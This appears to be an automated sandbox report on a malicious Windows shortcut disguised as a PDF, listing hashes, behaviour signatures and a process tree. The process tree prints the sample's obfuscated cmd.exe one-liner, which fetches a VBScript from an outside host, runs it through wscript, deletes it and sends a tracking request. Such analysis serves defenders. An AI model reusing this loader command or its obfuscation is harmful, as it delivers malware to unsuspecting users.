Analysis

  • max time kernel
    298s
  • max time network
    234s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 16:22

General

  • Target
    doc549824.pdf.lnk
  • Size 1KB
  • Sample260808-tvalbshr9v
  • SHA256 f06890d7f666d13fd4416bc8f6a275c557a97dc4ddbb5ada79774c5dfcb6ee2c
  • MD5 SHA1 SHA512 TLSH
Score
5/10

Malware Config

Signatures

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\doc549824.pdf.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:ON /Q /D /C "set h1=https://88.212.109.208.hos&set j5=t.secureserver.net/?vbs=1&s=20c67a3f-934d-d622-b972-240c6791ecfc&u=&set g9=cur&set g9=C:\Users\Admin\AppData\Local\Temp\9c459&set b6=vb&set v5=ws&!g9!l -sLo "!g9!.!b6!s" "!h1!!j5!" 2>nul&!v5!cript //B "!g9!.!b6!s"&del /f /q "!g9!.!b6!s" 2>nul&set z6=https://88.212.109.208.hos&set m4=t.secureserver.net/?trk=1&y=exec&s=20c67a3f-934d-d622-b972-240c6791ecfc&u=&!g9!l -sL "!z6!!m4!" >nul 2>nul"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3756
      • C:\Windows\System32\wscript.exe
        wscript //B "C:\Users\Admin\AppData\Local\Temp\9c459.vbs"
        3⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4916

Network

        MITRE ATT&CK Enterprise v16

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